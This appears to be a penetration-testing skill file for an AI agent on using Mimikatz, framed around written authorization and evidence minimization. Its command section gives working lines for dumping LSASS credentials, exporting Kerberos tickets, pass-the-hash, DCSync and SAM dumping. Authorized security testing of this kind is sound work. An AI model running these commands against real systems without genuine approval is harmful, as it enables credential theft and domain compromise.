Mimikatz

Mimikatz

Purpose

Use this skill only when the rules of engagement explicitly authorize validation of Windows credential material, tickets, or token exposure on a named approved host.

Phase Fit

• Primary: Validation and Controlled Impact Demonstration
• Secondary: Vulnerability Analysis, Retest and Closure

Use When

• Need to confirm whether a specific boundary failure exposes Windows credentials, tickets, or tokens.
• Need to measure the practical impact of privileged host access.
• Need a tightly controlled retest after credential-protection hardening.

Avoid When

• Credential-material access is not explicitly approved.
• Host scope or evidence handling rules are unclear.

Inputs

• Approved host and user context
• Explicit approval for credential or ticket inspection
• Stop conditions and evidence minimization rules

Procedure

1. Confirm written approval for the specific credential-access objective.
2. Limit activity to the single approved host and minimum modules needed.
3. Capture only the minimum proof required to support remediation.
4. Stop as soon as the approved proof standard is met.
5. Protect all output as highly sensitive evidence.

Command Syntax

Keep the interactive command set limited to the approved objective. Commands can be entered inside the shell or passed as quoted one-shot commands.

:: Launch interactive shell
mimikatz.exe

:: Dump credential material from LSASS (requires SeDebugPrivilege)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

:: Extract Kerberos tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

:: Pass-the-Hash: spawn process using NT hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:contoso.com /ntlm:<NTLM_hash> /run:cmd.exe" "exit"

:: DCSync: remotely dump a domain account hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.com /user:administrator" "exit"

:: Dump local SAM database
mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

Evidence to Capture

• Whether the approved boundary exposed credential or ticket material
• Exact host, context, and module path used
• Minimal output needed to support remediation

Safety Boundaries

• Use only with explicit written approval.
• Minimize collection and protect all output as sensitive evidence.